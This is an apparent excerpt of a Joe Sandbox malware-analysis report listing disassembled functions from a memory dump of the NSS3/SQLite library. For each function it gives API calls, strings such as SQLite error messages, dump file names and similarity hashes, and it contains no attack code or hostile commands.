PORT_ZAlloc_Util.NSS3(00000000), ref: 6CA04F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CA04F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CA04FAE
free.MOZGLUE(?), ref: 6CA04FC8

Strings

%s=%s, xrefs: 6CA04F89
%s=%c%s%c, xrefs: 6CA04FA9

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: fa8cc5362a0a3fc4ad0670b800b039ff03db23956c94f79e4d0eec327bfcaea2
Instruction ID: c7c645da5e3ab77f76af08fb60cd208118b4e5059ea90c0a5081f35052d7b7f6
Opcode Fuzzy Hash: fa8cc5362a0a3fc4ad0670b800b039ff03db23956c94f79e4d0eec327bfcaea2
Instruction Fuzzy Hash: B1515B71B052458BEB01CA69E4907FF7BF5BF6238CF1C8165E890A7A41D33598C587A1

Function 6C947D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C947E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C947E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C947EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C947F2E

Strings

database corruption, xrefs: 6C947EE2, 6C947F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C947ED8, 6C947F08, 6C947F19
%s at line %d of [%.10s], xrefs: 6C947EE7, 6C947F28

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 2a5de094638fa46b3b3e1e33d755b017ee8bc75ee2da82bade56946351406787
Instruction ID: ebb95bdee9ee46c71b6f9ad9bbe8f2c6a5de1c0eef96bbff30c79cfd97c9674d
Opcode Fuzzy Hash: 2a5de094638fa46b3b3e1e33d755b017ee8bc75ee2da82bade56946351406787
Instruction Fuzzy Hash: 4F61A174A042099FDB05CF25D890FAA37B6BF45308F158AA8EC095FB62D731EC55CBA1

Function 6C9969A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C996A02
EnterCriticalSection.KERNEL32(?), ref: 6C996AA6
LeaveCriticalSection.KERNEL32(?), ref: 6C996AF9
sqlite3_free.NSS3(00000000), ref: 6C996B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6C996BA6

Strings

winDelete, xrefs: 6C996B71
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C996B9F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: 5ad2179f95875c5beeee40faa9910a7ac0fd24f8d14a32ac98d5f3207b2373d7
Instruction ID: 9c825524abb8cb017977a78af476be7c677e34763e4a27e8f81931f6abb0151f
Opcode Fuzzy Hash: 5ad2179f95875c5beeee40faa9910a7ac0fd24f8d14a32ac98d5f3207b2373d7
Instruction Fuzzy Hash: 8F513631B412019BEB089F64EC58ABE3779EF57314F08812CE426D7680EB34D906CBD2

Function 6C92FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92FE83

Part of subcall function 6C92FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C92FEFA
Part of subcall function 6C92FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C92FF3B

Strings

database corruption, xrefs: 6C92FD6E, 6C92FE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92FD64, 6C92FE26
%s at line %d of [%.10s], xrefs: 6C92FD73, 6C92FE35

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 15bc727e04da7ffddb537174c00ef69f029b1017b04bb497019cbdbfc2fef08f
Instruction ID: e2bb2e682b9a743ce3e087f7e9d697d80aa548ab5c7c486f8f0b35c2f3acf676
Opcode Fuzzy Hash: 15bc727e04da7ffddb537174c00ef69f029b1017b04bb497019cbdbfc2fef08f
Instruction Fuzzy Hash: 3C51B070A002158FDB04CFA9D9D0AAEB7F5FF48308F154069E945ABB56E334EC94CBA0

Function 6CA72F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA72FFD
sqlite3_initialize.NSS3 ref: 6CA73007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA73032
sqlite3_mprintf.NSS3(6CADAAF9,?), ref: 6CA73073
sqlite3_free.NSS3(?), ref: 6CA730B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CA730C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CA730BB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 40d0579a49cf3a082bc316e5fdeb6d298f8307945f16ec1b044b381dd47167aa
Instruction ID: 177296b7386fd2c4321ea4d60247530fffa9cb3de7850da8899618ad9f9291e7
Opcode Fuzzy Hash: 40d0579a49cf3a082bc316e5fdeb6d298f8307945f16ec1b044b381dd47167aa
Instruction Fuzzy Hash: B041F275601A06AFDB10CF25C844A86B3B5FF54368F098628EC9987B40E730F9E5CBE0

Function 6C9B8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C9C124D,00000001), ref: 6C9B8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C9C124D,00000001), ref: 6C9B8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C9C124D,00000001), ref: 6C9B8D73
PR_Unlock.NSS3(?,?,?,?,?,6C9C124D,00000001), ref: 6C9B8D8C

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C9C124D,00000001), ref: 6C9B8DBA

Strings

KRAM, xrefs: 6C9B8CF9
KRAM, xrefs: 6C9B8D3E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 6cf506af17c6f3f373650af1679a12e56cced6b4ebbf6a9e457087351245c80b
Instruction ID: 2ebb9d33df81c5ad453c0c077b5f41a72367b72c06b2ce2e4fd26197c71c0086
Opcode Fuzzy Hash: 6cf506af17c6f3f373650af1679a12e56cced6b4ebbf6a9e457087351245c80b
Instruction Fuzzy Hash: EF21B1B4A046029FCB08EF78C48415BB7F4FF99308F05896AD99897701D730D886CB91

Function 6CAB0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CAB0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CAB0EFA

Part of subcall function 6C99AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C99AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CAB0ED9, 6CAB0EE5, 6CAB0F06, 6CAB0F0B
Aborting, xrefs: 6CAB0EB3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: d211fb004a6740bd094c185a9ce5895f6caf2be2a4dc74fa2b2b4216e124db28
Instruction ID: 0c26fc18c11ffaa7b7446d6d6453519a3e78c3c69cd3912d57eda83f5ed75d0c
Opcode Fuzzy Hash: d211fb004a6740bd094c185a9ce5895f6caf2be2a4dc74fa2b2b4216e124db28
Instruction Fuzzy Hash: EC01C4B5A00214ABDF11AF64EC4589B3F3CDF46368B048014FD1997701D631EE5596A2

Function 6CA74D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA74DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA74DE0

Strings

invalid, xrefs: 6CA74DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA74DCB
misuse, xrefs: 6CA74DD5
API call with %s database connection pointer, xrefs: 6CA74DBD
%s at line %d of [%.10s], xrefs: 6CA74DDA

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 732264e0a3fc8b0be7f651a391ea63f8694c01160bc1f05e981a6c1ed3c42f43
Instruction ID: 67084a6d0ffd6eb7cb15c8f73d93cc40500f3c50145d48effd8cc8ea63997f05
Opcode Fuzzy Hash: 732264e0a3fc8b0be7f651a391ea63f8694c01160bc1f05e981a6c1ed3c42f43
Instruction Fuzzy Hash: 5AF0B469F146642FE7105115DE14F8737657F1231AF4B09A0ED446BA53E605ACD086F1

Function 6CA74DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA74E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA74E4D

Strings

invalid, xrefs: 6CA74E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA74E38
misuse, xrefs: 6CA74E42
API call with %s database connection pointer, xrefs: 6CA74E2A
%s at line %d of [%.10s], xrefs: 6CA74E47

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 09ed5d60a7e61ff079b19eb6ce8c3fd7008f4efa5725d7775f2a46d44f9e52b3
Instruction ID: 7b9feaacee3a9394bfded5d23854672e2a9c617802c10498b6554d95b88784bf
Opcode Fuzzy Hash: 09ed5d60a7e61ff079b19eb6ce8c3fd7008f4efa5725d7775f2a46d44f9e52b3
Instruction Fuzzy Hash: 6CF0E219E449286FE62050259C14FD737A67B1133AF4E84A1EA0867E92D709A8E146F1

Function 6C9BD9D0 Relevance: 12.2, APIs: 8, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(D958E852,6C9C1397,5B5F5EC0,?,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB3C
Part of subcall function 6C9BAB10: free.MOZGLUE(D958E836,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB49
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(5D5E6CBB), ref: 6C9BAB5C
Part of subcall function 6C9BAB10: free.MOZGLUE(5D5E6CAF), ref: 6C9BAB63
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C9BAB6F
Part of subcall function 6C9BAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C9BAB76

TlsGetValue.KERNEL32(?,?,?,CE534353,?,00000007), ref: 6C9BDA10
EnterCriticalSection.KERNEL32(0000001C,?,?,?,CE534353,?,00000007), ref: 6C9BDA24
PK11_IsFriendly.NSS3(?,?,?,?,CE534353,?,00000007), ref: 6C9BDA7E
PK11_IsLoggedIn.NSS3(?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9BDA96
PR_Unlock.NSS3(00000000,?,?,?,CE534353,?,00000007), ref: 6C9BDB17
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9BDBFB
PR_Unlock.NSS3(00000000), ref: 6C9BDC3C
PR_Unlock.NSS3(00000000), ref: 6C9BDC69

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$DeleteUnlockfree$K11_$EnterFriendlyLoggedValuememcpy
String ID:
API String ID: 3222563534-0
Opcode ID: 08cd087d6ac731c33f9c4c970ab45082c50872a80d1c0a381ba2fc99876573b5
Instruction ID: 7a0dcd4c29f69237d90f8a104fd5183a3b19d21a8c8c5831fc89f3ca559dbe69
Opcode Fuzzy Hash: 08cd087d6ac731c33f9c4c970ab45082c50872a80d1c0a381ba2fc99876573b5
Instruction Fuzzy Hash: 9191C2B6A00216ABDF04CF58D880AABB7B5FF54308F288128D9197BB45E731F955CBD1

Function 6C9A9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9AA086
EnterCriticalSection.KERNEL32(?), ref: 6C9AA09B
PR_Unlock.NSS3(?), ref: 6C9AA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9AA0E9
TlsGetValue.KERNEL32 ref: 6C9AA11B
EnterCriticalSection.KERNEL32(?), ref: 6C9AA12F
PR_Unlock.NSS3(?), ref: 6C9AA148

Part of subcall function 6C9C1A40: PR_Now.NSS3(?,00000000,6C9A28AD,00000000,?,6C9BF09A,00000000,6C9A28AD,6C9A93B0,?,6C9A93B0,6C9A28AD,00000000,?,00000000), ref: 6C9C1A65

Part of subcall function 6C9C1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C9C4126,?), ref: 6C9C1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9AA1A3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: ddd12f62db19e83553585fbfb74b79e70a3e3f59fcfff8e896b50cebed5bbe10
Instruction ID: 009ebe737fc6c87c369b64b1df3b88146d64984b4f2f22737e41abdb702e631a
Opcode Fuzzy Hash: ddd12f62db19e83553585fbfb74b79e70a3e3f59fcfff8e896b50cebed5bbe10
Instruction Fuzzy Hash: FF51EA75A00301AFEB109FAADC44AAB77BDAF6630CB15842DDC1997701EF31D94ACA91

Function 6C9E0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C9E1444,?,00000001,?,00000000,00000000,?,?,6C9E1444,?,?,00000000,?,?), ref: 6C9E0CB3

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?,?,6C9E1444,?), ref: 6C9E0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?,?,6C9E1444,?), ref: 6C9E0DEC

Part of subcall function 6CA00F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C9A2AF5,?,?,?,?,?,6C9A0A1B,00000000), ref: 6CA00F1A
Part of subcall function 6CA00F10: malloc.MOZGLUE(00000001), ref: 6CA00F30
Part of subcall function 6CA00F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA00F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?), ref: 6C9E0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C9E1444,?,00000001,?,00000000), ref: 6C9E0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?), ref: 6C9E0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?,?,6C9E1444,?,?,00000000), ref: 6C9E0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?), ref: 6C9E0E79

Part of subcall function 6C9F1560: TlsGetValue.KERNEL32(00000000,?,6C9C0844,?), ref: 6C9F157A
Part of subcall function 6C9F1560: EnterCriticalSection.KERNEL32(?,?,?,6C9C0844,?), ref: 6C9F158F
Part of subcall function 6C9F1560: PR_Unlock.NSS3(?,?,?,?,6C9C0844,?), ref: 6C9F15B2

Part of subcall function 6C9BB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C9C1397,00000000,?,6C9BCF93,5B5F5EC0,00000000,?,6C9C1397,?), ref: 6C9BB1CB
Part of subcall function 6C9BB1A0: free.MOZGLUE(5B5F5EC0,?,6C9BCF93,5B5F5EC0,00000000,?,6C9C1397,?), ref: 6C9BB1D2

Part of subcall function 6C9B89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A04
Part of subcall function 6C9B89E0: EnterCriticalSection.KERNEL32(?), ref: 6C9B8A15
